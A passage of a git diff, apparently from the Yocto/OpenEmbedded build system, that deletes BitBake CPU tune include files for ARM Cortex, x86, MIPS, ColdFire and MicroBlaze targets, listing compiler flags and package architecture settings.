-TUNE_FEATURES_tune-cortexa7thf = "${TUNE_FEATURES_tune-cortexa7t} callconvention-hard"
-TUNE_FEATURES_tune-cortexa7hf-neon = "${TUNE_FEATURES_tune-cortexa7-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa7thf-neon = "${TUNE_FEATURES_tune-cortexa7t-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa7hf-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa7-neon-vfpv4} callconvention-hard"
-TUNE_FEATURES_tune-cortexa7thf-neon-vfpv4 = "${TUNE_FEATURES_tune-cortexa7t-neon-vfpv4} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7hf = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf} cortexa7hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7thf = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf} cortexa7hf-vfp cortexa7t2hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7hf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf-neon} cortexa7hf-vfp cortexa7hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7thf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf-neon} cortexa7hf-vfp cortexa7hf-neon cortexa7t2hf-vfp cortexa7t2hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7hf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehf-neon-vfpv4} cortexa7hf-vfp cortexa7hf-neon cortexa7hf-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-cortexa7thf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethf-neon-vfpv4} cortexa7hf-vfp cortexa7hf-neon cortexa7hf-neon-vfpv4 cortexa7t2hf-vfp cortexa7t2hf-neon cortexa7t2hf-neon-vfpv4"
diff --git a/meta/conf/machine/include/tune-cortexa72-cortexa53.inc b/meta/conf/machine/include/tune-cortexa72-cortexa53.inc
deleted file mode 100644
index 98e8ebacff..0000000000
--- a/meta/conf/machine/include/tune-cortexa72-cortexa53.inc
+++ /dev/null
@@ -1,19 +0,0 @@
-DEFAULTTUNE ?= "cortexa72-cortexa53"
-
-TUNEVALID[cortexa72-cortexa53] = "Enable big.LITTLE Cortex-A72.Cortex-A53 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "cortexa72-cortexa53", " -mcpu=cortex-a72.cortex-a53", "", d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains("TUNE_FEATURES", "cortexa72-cortexa53", "cortexa72-cortexa53:", "", d)}"
-
-require conf/machine/include/arm/arch-armv8a.inc
-
-# cortexa72.cortexa53 implies crc support
-AVAILTUNES += "cortexa72-cortexa53 cortexa72-cortexa53-crypto"
-ARMPKGARCH_tune-cortexa72-cortexa53 = "cortexa72-cortexa53"
-ARMPKGARCH_tune-cortexa72-cortexa53-crypto = "cortexa72-cortexa53-crypto"
-TUNE_FEATURES_tune-cortexa72-cortexa53 = "${TUNE_FEATURES_tune-armv8a-crc} cortexa72-cortexa53"
-TUNE_FEATURES_tune-cortexa72-cortexa53-crypto = "${TUNE_FEATURES_tune-cortexa72-cortexa53} crypto"
-PACKAGE_EXTRA_ARCHS_tune-cortexa72-cortexa53 = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc} cortexa72-cortexa53"
-PACKAGE_EXTRA_ARCHS_tune-cortexa72-cortexa53-crypto = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc-crypto} cortexa72-cortexa53 cortexa72-cortexa53-crypto"
-BASE_LIB_tune-cortexa72-cortexa53 = "lib64"
-BASE_LIB_tune-cortexa72-cortexa53-crypto = "lib64"
-
diff --git a/meta/conf/machine/include/tune-cortexa72.inc b/meta/conf/machine/include/tune-cortexa72.inc
deleted file mode 100644
index b3f68ab6e3..0000000000
--- a/meta/conf/machine/include/tune-cortexa72.inc
+++ /dev/null
@@ -1,13 +0,0 @@
-DEFAULTTUNE ?= "cortexa72"
-
-TUNEVALID[cortexa72] = "Enable Cortex-A72 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa72', ' -mcpu=cortex-a72', '', d)}"
-
-require conf/machine/include/arm/arch-armv8a.inc
-
-# Little Endian base configs
-AVAILTUNES += "cortexa72"
-ARMPKGARCH_tune-cortexa72 = "cortexa72"
-TUNE_FEATURES_tune-cortexa72 = "${TUNE_FEATURES_tune-armv8a-crc-crypto} cortexa72"
-PACKAGE_EXTRA_ARCHS_tune-cortexa72 = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc-crypto} cortexa72"
-BASE_LIB_tune-cortexa72 = "lib64"
diff --git a/meta/conf/machine/include/tune-cortexa73-cortexa53.inc b/meta/conf/machine/include/tune-cortexa73-cortexa53.inc
deleted file mode 100644
index 3750f0762d..0000000000
--- a/meta/conf/machine/include/tune-cortexa73-cortexa53.inc
+++ /dev/null
@@ -1,19 +0,0 @@
-DEFAULTTUNE ?= "cortexa73-cortexa53"
-
-TUNEVALID[cortexa73-cortexa53] = "Enable big.LITTLE Cortex-A73.Cortex-A53 specific processor optimizations"
-MACHINEOVERRIDES =. "${@bb.utils.contains("TUNE_FEATURES", "cortexa73-cortexa53", "cortexa73-cortexa53:", "", d)}"
-TUNE_CCARGS .= "${@bb.utils.contains("TUNE_FEATURES", "cortexa73-cortexa53", " -mcpu=cortex-a73.cortex-a53", "", d)}"
-
-require conf/machine/include/arm/arch-armv8a.inc
-
-# cortexa73.cortexa53 implies crc support
-AVAILTUNES += "cortexa73-cortexa53 cortexa73-cortexa53-crypto"
-ARMPKGARCH_tune-cortexa73-cortexa53 = "cortexa73-cortexa53"
-ARMPKGARCH_tune-cortexa73-cortexa53-crypto = "cortexa73-cortexa53-crypto"
-TUNE_FEATURES_tune-cortexa73-cortexa53 = "${TUNE_FEATURES_tune-armv8a-crc} cortexa73-cortexa53"
-TUNE_FEATURES_tune-cortexa73-cortexa53-crypto = "${TUNE_FEATURES_tune-cortexa73-cortexa53} crypto"
-PACKAGE_EXTRA_ARCHS_tune-cortexa73-cortexa53 = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc} cortexa73-cortexa53"
-PACKAGE_EXTRA_ARCHS_tune-cortexa73-cortexa53-crypto = "${PACKAGE_EXTRA_ARCHS_tune-armv8a-crc-crypto} cortexa73-cortexa53 cortexa73-cortexa53-crypto"
-BASE_LIB_tune-cortexa73-cortexa53 = "lib64"
-BASE_LIB_tune-cortexa73-cortexa53-crypto = "lib64"
-
diff --git a/meta/conf/machine/include/tune-cortexa8.inc b/meta/conf/machine/include/tune-cortexa8.inc
deleted file mode 100644
index f27bfb8d67..0000000000
--- a/meta/conf/machine/include/tune-cortexa8.inc
+++ /dev/null
@@ -1,39 +0,0 @@
-DEFAULTTUNE ?= "armv7athf-neon"
-
-require conf/machine/include/arm/arch-armv7a.inc
-
-TUNEVALID[cortexa8] = "Enable Cortex-A8 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa8', ' -mcpu=cortex-a8', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa8', 'armv7a:', '', d)}"
-
-# Little Endian base configs
-AVAILTUNES += "cortexa8 cortexa8t cortexa8-neon cortexa8t-neon"
-ARMPKGARCH_tune-cortexa8 = "cortexa8"
-ARMPKGARCH_tune-cortexa8t = "cortexa8"
-ARMPKGARCH_tune-cortexa8-neon = "cortexa8"
-ARMPKGARCH_tune-cortexa8t-neon = "cortexa8"
-# mcpu is used so don't use armv7a as we don't want march
-TUNE_FEATURES_tune-cortexa8 = "arm vfp cortexa8"
-TUNE_FEATURES_tune-cortexa8t = "${TUNE_FEATURES_tune-cortexa8} thumb"
-TUNE_FEATURES_tune-cortexa8-neon = "${TUNE_FEATURES_tune-cortexa8} neon"
-TUNE_FEATURES_tune-cortexa8t-neon = "${TUNE_FEATURES_tune-cortexa8-neon} thumb"
-PACKAGE_EXTRA_ARCHS_tune-cortexa8 = "${PACKAGE_EXTRA_ARCHS_tune-armv7a} cortexa8-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa8t = "${PACKAGE_EXTRA_ARCHS_tune-armv7at} cortexa8-vfp cortexa8t2-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa8-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7a-neon} cortexa8-vfp cortexa8-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa8t-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7at-neon} cortexa8-vfp cortexa8-neon cortexa8t2-vfp cortexa8t2-neon"
-
-# HF Tunes
-AVAILTUNES += "cortexa8hf cortexa8thf cortexa8hf-neon cortexa8thf-neon"
-ARMPKGARCH_tune-cortexa8hf = "cortexa8"
-ARMPKGARCH_tune-cortexa8thf = "cortexa8"
-ARMPKGARCH_tune-cortexa8hf-neon = "cortexa8"
-ARMPKGARCH_tune-cortexa8thf-neon = "cortexa8"
-# mcpu is used so don't use armv7a as we don't want march
-TUNE_FEATURES_tune-cortexa8hf = "${TUNE_FEATURES_tune-cortexa8} callconvention-hard"
-TUNE_FEATURES_tune-cortexa8thf = "${TUNE_FEATURES_tune-cortexa8t} callconvention-hard"
-TUNE_FEATURES_tune-cortexa8hf-neon = "${TUNE_FEATURES_tune-cortexa8-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa8thf-neon = "${TUNE_FEATURES_tune-cortexa8t-neon} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-cortexa8hf = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf} cortexa8hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa8thf = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf} cortexa8hf-vfp cortexa8t2hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa8hf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf-neon} cortexa8hf-vfp cortexa8hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa8thf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf-neon} cortexa8hf-vfp cortexa8hf-neon cortexa8t2hf-vfp cortexa8t2hf-neon"
diff --git a/meta/conf/machine/include/tune-cortexa9.inc b/meta/conf/machine/include/tune-cortexa9.inc
deleted file mode 100644
index 0eb8f3b9d3..0000000000
--- a/meta/conf/machine/include/tune-cortexa9.inc
+++ /dev/null
@@ -1,55 +0,0 @@
-DEFAULTTUNE ?= "armv7athf-neon"
-
-require conf/machine/include/arm/arch-armv7a.inc
-
-TUNEVALID[cortexa9] = "Enable Cortex-A9 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'cortexa9', ' -mcpu=cortex-a9', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'cortexa9', 'armv7a:', '', d)}"
-
-# Little Endian base configs
-AVAILTUNES += "cortexa9 cortexa9t cortexa9-neon cortexa9t-neon"
-ARMPKGARCH_tune-cortexa9 = "cortexa9"
-ARMPKGARCH_tune-cortexa9t = "cortexa9"
-ARMPKGARCH_tune-cortexa9-neon = "cortexa9"
-ARMPKGARCH_tune-cortexa9t-neon = "cortexa9"
-# mcpu is used so don't use armv7a as we don't want march
-TUNE_FEATURES_tune-cortexa9 = "arm vfp cortexa9"
-TUNE_FEATURES_tune-cortexa9t = "${TUNE_FEATURES_tune-cortexa9} thumb"
-TUNE_FEATURES_tune-cortexa9-neon = "${TUNE_FEATURES_tune-cortexa9} neon"
-TUNE_FEATURES_tune-cortexa9t-neon = "${TUNE_FEATURES_tune-cortexa9-neon} thumb"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9 = "${PACKAGE_EXTRA_ARCHS_tune-armv7a} cortexa9-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9t = "${PACKAGE_EXTRA_ARCHS_tune-armv7at} cortexa9-vfp cortexa9t2-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7a-neon} cortexa9-vfp cortexa9-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9t-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7at-neon} cortexa9-vfp cortexa9-neon cortexa9t2-vfp cortexa9t2-neon"
-
-# HF Tunes
-AVAILTUNES += "cortexa9hf cortexa9thf cortexa9hf-neon cortexa9thf-neon"
-ARMPKGARCH_tune-cortexa9hf = "cortexa9"
-ARMPKGARCH_tune-cortexa9thf = "cortexa9"
-ARMPKGARCH_tune-cortexa9hf-neon = "cortexa9"
-ARMPKGARCH_tune-cortexa9thf-neon = "cortexa9"
-# mcpu is used so don't use armv7a as we don't want march
-TUNE_FEATURES_tune-cortexa9hf = "${TUNE_FEATURES_tune-cortexa9} callconvention-hard"
-TUNE_FEATURES_tune-cortexa9thf = "${TUNE_FEATURES_tune-cortexa9t} callconvention-hard"
-TUNE_FEATURES_tune-cortexa9hf-neon = "${TUNE_FEATURES_tune-cortexa9-neon} callconvention-hard"
-TUNE_FEATURES_tune-cortexa9thf-neon = "${TUNE_FEATURES_tune-cortexa9t-neon} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9hf = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf} cortexa9hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9thf = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf} cortexa9hf-vfp cortexa9t2hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9hf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf-neon} cortexa9hf-vfp cortexa9hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9thf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf-neon} cortexa9hf-vfp cortexa9hf-neon cortexa9t2hf-vfp cortexa9t2hf-neon"
-
-# VFPv3 Tunes
-AVAILTUNES += "cortexa9-vfpv3 cortexa9t-vfpv3 cortexa9hf-vfpv3 cortexa9thf-vfpv3"
-ARMPKGARCH_tune-cortexa9-vfpv3 = "cortexa9"
-ARMPKGARCH_tune-cortexa9t-vfpv3 = "cortexa9"
-ARMPKGARCH_tune-cortexa9hf-vfpv3 = "cortexa9"
-ARMPKGARCH_tune-cortexa9thf-vfpv3 = "cortexa9"
-# mcpu is used so don't use armv7a as we don't want march
-TUNE_FEATURES_tune-cortexa9-vfpv3 = "${TUNE_FEATURES_tune-cortexa9} vfpv3"
-TUNE_FEATURES_tune-cortexa9t-vfpv3 = "${TUNE_FEATURES_tune-cortexa9t} vfpv3"
-TUNE_FEATURES_tune-cortexa9hf-vfpv3 = "${TUNE_FEATURES_tune-cortexa9hf} vfpv3"
-TUNE_FEATURES_tune-cortexa9thf-vfpv3 = "${TUNE_FEATURES_tune-cortexa9thf} vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7a-vfpv3} cortexa9-vfp cortexa9-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9t-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7at-vfpv3} cortexa9-vfp cortexa9-vfpv3 cortexa9t2-vfp cortexa9t2-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9hf-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf-vfpv3} cortexa9hf-vfp cortexa9hf-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-cortexa9thf-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf-vfpv3} cortexa9hf-vfp cortexa9hf-vfpv3 cortexa9t2hf-vfp cortexa9t2hf-vfpv3"
diff --git a/meta/conf/machine/include/tune-ep9312.inc b/meta/conf/machine/include/tune-ep9312.inc
deleted file mode 100644
index 5e1a0e5791..0000000000
--- a/meta/conf/machine/include/tune-ep9312.inc
+++ /dev/null
@@ -1,12 +0,0 @@
-DEFAULTTUNE ?= "ep9312"
-
-require conf/machine/include/arm/arch-armv4.inc
-
-TUNEVALID[ep9312] = "Enable Cirrus Logic EP9312 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'ep9312', ' -march=ep9312 -mcpu=ep9312', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'ep9312', 'armv4:', '', d)}"
-
-AVAILTUNES += "ep9312"
-ARMPKGARCH_tune-ep9312 = "ep9312"
-TUNE_FEATURES_tune-ep9312 = "thumb ep9312"
-PACKAGE_EXTRA_ARCHS_tune-ep9312 = "${PACKAGE_EXTRA_ARCHS_tune-armv4t} ep9312t"
diff --git a/meta/conf/machine/include/tune-i586-nlp.inc b/meta/conf/machine/include/tune-i586-nlp.inc
deleted file mode 100644
index 88e59038fa..0000000000
--- a/meta/conf/machine/include/tune-i586-nlp.inc
+++ /dev/null
@@ -1,19 +0,0 @@
-# Settings for the GCC(1) cpu-type "quark":
-#
-#
-#
-DEFAULTTUNE ?= "i586-nlp-32"
-
-# Include the previous tune to pull in PACKAGE_EXTRA_ARCHS
-require conf/machine/include/x86/arch-x86.inc
-
-# x86 with no lock prefix
-TUNEVALID[i586-nlp] = "IA32 with Lock Prefix omitted"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'i586-nlp', ' -march=i586 -Wa,-momit-lock-prefix=yes', '', d)}"
-
-# Quark tune feature
-AVAILTUNES = "i586-nlp-32"
-TUNE_FEATURES_tune-i586-nlp-32 = "${TUNE_FEATURES_tune-x86} i586-nlp"
-BASE_LIB_tune-i586-nlp-32 = "lib"
-TUNE_PKGARCH_tune-i586-nlp-32 = "i586-nlp-32"
-PACKAGE_EXTRA_ARCHS_tune-i586-nlp-32 = "i586-nlp-32"
diff --git a/meta/conf/machine/include/tune-i586.inc b/meta/conf/machine/include/tune-i586.inc
deleted file mode 100644
index 1ab17bd402..0000000000
--- a/meta/conf/machine/include/tune-i586.inc
+++ /dev/null
@@ -1,14 +0,0 @@
-DEFAULTTUNE ?= "i586"
-
-require conf/machine/include/x86/arch-x86.inc
-
-# Extra tune features
-TUNEVALID[i586] = "Enable i586 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'i586', ' -march=i586', '', d)}"
-
-# Extra tune selections
-AVAILTUNES += "i586"
-TUNE_FEATURES_tune-i586 = "${TUNE_FEATURES_tune-x86} i586"
-BASE_LIB_tune-i586 = "lib"
-TUNE_PKGARCH_tune-i586 = "i586"
-PACKAGE_EXTRA_ARCHS_tune-i586 = "${PACKAGE_EXTRA_ARCHS_tune-x86} i586"
diff --git a/meta/conf/machine/include/tune-i686.inc b/meta/conf/machine/include/tune-i686.inc
deleted file mode 100644
index bdb4799209..0000000000
--- a/meta/conf/machine/include/tune-i686.inc
+++ /dev/null
@@ -1,27 +0,0 @@
-#
-# The i686 CPU family was introduced with the Intel Pentium Pro in 1995.
-# It has as required feature flags: fpu tsc cx8 cmov.
-#
-# It is the minimum CPU required by the Debian i386 port.
-# https://lists.debian.org/debian-devel-announce/2016/05/msg00001.html
-#
-#
-
-DEFAULTTUNE ?= "i686"
-
-# Set x86 target arch to i686, so that glibc enables SSE optimised memcpy, etc.
-X86ARCH32 ?= "i686"
-
-# Include the previous tune to pull in PACKAGE_EXTRA_ARCHS
-require conf/machine/include/tune-i586.inc
-
-# Extra tune features
-TUNEVALID[i686] = "Enable i686 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'i686', ' -march=i686', '', d)}"
-
-# Extra tune selections
-AVAILTUNES += "i686"
-TUNE_FEATURES_tune-i686 = "${TUNE_FEATURES_tune-x86} i686"
-BASE_LIB_tune-i686 = "lib"
-TUNE_PKGARCH_tune-i686 = "i686"
-PACKAGE_EXTRA_ARCHS_tune-i686 = "${PACKAGE_EXTRA_ARCHS_tune-i586} i686"
diff --git a/meta/conf/machine/include/tune-mcf5441x.inc b/meta/conf/machine/include/tune-mcf5441x.inc
deleted file mode 100644
index 11a41a7c5d..0000000000
--- a/meta/conf/machine/include/tune-mcf5441x.inc
+++ /dev/null
@@ -1,13 +0,0 @@
-DEFAULTTUNE ?= "mcf5441x"
-
-require conf/machine/include/m68k/arch-m68k.inc
-
-TUNEVALID[mcf5441x] = "Enable coldfire specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mcf5441x', ' -mcpu=54418', '', d)}"
-
-AVAILTUNES += "mcf5441x"
-TUNE_FEATURES_tune-mcf5441x = "mcf5441x"
-TUNE_ARCH_tune-mcf5441x = "mcf5441x"
-TUNE_PKGARCH_tune-mcf5441x = "mcf5441x"
-PACKAGE_EXTRA_ARCHS_tune-mcf5441x = "m68k mcf5441x"
-
diff --git a/meta/conf/machine/include/tune-microblaze.inc b/meta/conf/machine/include/tune-microblaze.inc
deleted file mode 100644
index 41f0afe668..0000000000
--- a/meta/conf/machine/include/tune-microblaze.inc
+++ /dev/null
@@ -1,8 +0,0 @@
-DEFAULTTUNE ?= "microblaze"
-
-require conf/machine/include/microblaze/arch-microblaze.inc
-
-AVAILTUNES += "microblaze"
-TUNE_FEATURES_tune-microblaze = "microblaze"
-PACKAGE_EXTRA_ARCHS_tune-microblaze = "${TUNE_PKGARCH}"
-
diff --git a/meta/conf/machine/include/tune-mips32.inc b/meta/conf/machine/include/tune-mips32.inc
deleted file mode 100644
index a90c0f059d..0000000000
--- a/meta/conf/machine/include/tune-mips32.inc
+++ /dev/null
@@ -1,29 +0,0 @@
-DEFAULTTUNE ?= "mips32"
-
-require conf/machine/include/mips/arch-mips.inc
-
-TUNEVALID[mips32] = "Enable mips32 specific processor optimizations"
-TUNECONFLICTS[mips32] = "n64 n32"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mips32', ' -march=mips32', '', d)}"
-
-# Base Tunes (Hard Float)
-AVAILTUNES += "mips32 mips32el"
-
-TUNE_FEATURES_tune-mips32 = "${TUNE_FEATURES_tune-mips} mips32"
-MIPSPKGSFX_VARIANT_tune-mips32 = "mips32"
-PACKAGE_EXTRA_ARCHS_tune-mips32 = "mips mips32"
-
-TUNE_FEATURES_tune-mips32el = "${TUNE_FEATURES_tune-mipsel} mips32"
-MIPSPKGSFX_VARIANT_tune-mips32el = "mips32el"
-PACKAGE_EXTRA_ARCHS_tune-mips32el = "mipsel mips32el"
-
-# Soft Float
-AVAILTUNES += "mips32-nf mips32el-nf"
-
-TUNE_FEATURES_tune-mips32-nf = "${TUNE_FEATURES_tune-mips-nf} mips32"
-MIPSPKGSFX_VARIANT_tune-mips32-nf = "mips32"
-PACKAGE_EXTRA_ARCHS_tune-mips32-nf = "mips-nf mips32-nf"
-
-TUNE_FEATURES_tune-mips32el-nf = "${TUNE_FEATURES_tune-mipsel-nf} mips32"
-MIPSPKGSFX_VARIANT_tune-mips32el-nf = "mips32el"
-PACKAGE_EXTRA_ARCHS_tune-mips32el-nf = "mipsel-nf mips32el-nf"
diff --git a/meta/conf/machine/include/tune-mips32r2.inc b/meta/conf/machine/include/tune-mips32r2.inc
deleted file mode 100644
index 14473ca831..0000000000
--- a/meta/conf/machine/include/tune-mips32r2.inc
+++ /dev/null
@@ -1,29 +0,0 @@
-DEFAULTTUNE ?= "mips32r2"
-
-require conf/machine/include/tune-mips32.inc
-
-TUNEVALID[mips32r2] = "Enable mips32r2 specific processor optimizations"
-TUNECONFLICTS[mips32r2] = "n64 n32"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mips32r2', ' -march=mips32r2', '', d)}"
-
-# Base Tunes (Hard Float)
-AVAILTUNES += "mips32r2 mips32r2el"
-
-TUNE_FEATURES_tune-mips32r2 = "${TUNE_FEATURES_tune-mips} mips32r2"
-MIPSPKGSFX_VARIANT_tune-mips32r2 = "mips32r2"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2 = "mips mips32 mips32r2"
-
-TUNE_FEATURES_tune-mips32r2el = "${TUNE_FEATURES_tune-mipsel} mips32r2"
-MIPSPKGSFX_VARIANT_tune-mips32r2el = "mips32r2el"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2el = "mipsel mips32el mips32r2el"
-
-# Soft Float
-AVAILTUNES += "mips32r2-nf mips32r2el-nf"
-
-TUNE_FEATURES_tune-mips32r2-nf = "${TUNE_FEATURES_tune-mips-nf} mips32r2"
-MIPSPKGSFX_VARIANT_tune-mips32r2-nf = "mips32r2"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2-nf = "mips-nf mips32-nf mips32r2-nf"
-
-TUNE_FEATURES_tune-mips32r2el-nf = "${TUNE_FEATURES_tune-mipsel-nf} mips32r2"
-MIPSPKGSFX_VARIANT_tune-mips32r2el-nf = "mips32r2el"
-PACKAGE_EXTRA_ARCHS_tune-mips32r2el-nf = "mipsel-nf mips32el-nf mips32r2el-nf"
diff --git a/meta/conf/machine/include/tune-mips32r6.inc b/meta/conf/machine/include/tune-mips32r6.inc
deleted file mode 100644
index 44369cb59c..0000000000
--- a/meta/conf/machine/include/tune-mips32r6.inc
+++ /dev/null
@@ -1,29 +0,0 @@
-DEFAULTTUNE ?= "mipsisa32r6el"
-
-require conf/machine/include/mips/arch-mips.inc
-
-TUNEVALID[mipsisa32r6] = "Enable mipsisa32r6 specific processor optimizations"
-TUNECONFLICTS[mipsisa32r6] = "n64 n32"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mipsisa32r6', ' -march=mips32r6', '', d)}"
-
-# Base Tunes (Hard Float)
-AVAILTUNES += "mipsisa32r6 mipsisa32r6el"
-
-TUNE_FEATURES_tune-mipsisa32r6 = "o32 bigendian mipsisa32r6 fpu-hard r6"
-MIPSPKGSFX_VARIANT_tune-mipsisa32r6 = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa32r6 = "mipsisa32r6"
-
-TUNE_FEATURES_tune-mipsisa32r6el = "o32 fpu-hard mipsisa32r6 r6"
-MIPSPKGSFX_VARIANT_tune-mipsisa32r6el = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa32r6el = "mipsisa32r6el"
-
-# Soft Float
-AVAILTUNES += "mipsisa32r6-nf mipsisa32r6el-nf"
-
-TUNE_FEATURES_tune-mipsisa32r6-nf = "o32 bigendian mipsisa32r6 r6"
-MIPSPKGSFX_VARIANT_tune-mipsisa32r6-nf = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa32r6-nf = "mipsisa32r6-nf"
-
-TUNE_FEATURES_tune-mipsisa32r6el-nf = "o32 mipsisa32r6 r6"
-MIPSPKGSFX_VARIANT_tune-mipsisa32r6el-nf = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mipsisa32r6el-nf = "mipsisa32r6el-nf"
diff --git a/meta/conf/machine/include/tune-mips64.inc b/meta/conf/machine/include/tune-mips64.inc
deleted file mode 100644
index 9be0e0f8d9..0000000000
--- a/meta/conf/machine/include/tune-mips64.inc
+++ /dev/null
@@ -1,3 +0,0 @@
-DEFAULTTUNE ?= "mips64"
-
-require conf/machine/include/tune-mips32r2.inc
diff --git a/meta/conf/machine/include/tune-mips64r2.inc b/meta/conf/machine/include/tune-mips64r2.inc
deleted file mode 100644
index 75d7535add..0000000000
--- a/meta/conf/machine/include/tune-mips64r2.inc
+++ /dev/null
@@ -1,84 +0,0 @@
-DEFAULTTUNE ?= "mips64r2"
-
-require conf/machine/include/tune-mips64.inc
-
-TUNEVALID[mips64r2] = "Enable mips64r2 specific processor optimizations"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'mips64r2', ' -march=mips64r2', '', d)}"
-
-# Base tunes
-AVAILTUNES += "mips64r2 mips64r2el"
-
-TUNE_FEATURES_tune-mips64r2 = "${TUNE_FEATURES_tune-mips64} mips64r2"
-BASE_LIB_tune-mips64r2 = "lib64"
-MIPSPKGSFX_VARIANT_tune-mips64r2 = "mips64r2"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2 = "mips64 mips64r2"
-
-TUNE_FEATURES_tune-mips64r2el = "${TUNE_FEATURES_tune-mips64el} mips64r2"
-BASE_LIB_tune-mips64r2el = "lib64"
-MIPSPKGSFX_VARIANT_tune-mips64r2el = "mips64r2el"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2el = "mips64el mips64r2el"
-
-# MIPS 64r2 Soft Float
-AVAILTUNES += "mips64r2-nf mips64r2el-nf"
-
-TUNE_FEATURES_tune-mips64r2-nf = "${TUNE_FEATURES_tune-mips64-nf} mips64r2"
-BASE_LIB_tune-mips64r2-nf = "lib64"
-MIPSPKGSFX_VARIANT_tune-mips64r2-nf = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2-nf = "mips64-nf mips64r2-nf"
-
-TUNE_FEATURES_tune-mips64r2el-nf = "${TUNE_FEATURES_tune-mips64el-nf} mips64r2"
-BASE_LIB_tune-mips64r2el-nf = "lib64"
-MIPSPKGSFX_VARIANT_tune-mips64r2el-nf = "${TUNE_ARCH}"
-PACKAGE_EXTRA_ARCHS_tune-mips64r2el-nf = "mips64el-nf mips64r2el-nf"
-
-# MIPS 64r2 n32
-AVAILTUNES += "mips64r2-n32 mips64r2el-n32"
-
-TUNE_FEATURES_tune-mips64r2-n32 = "${TUNE_FEATURES_tune-mips64-n32} mips64r2"
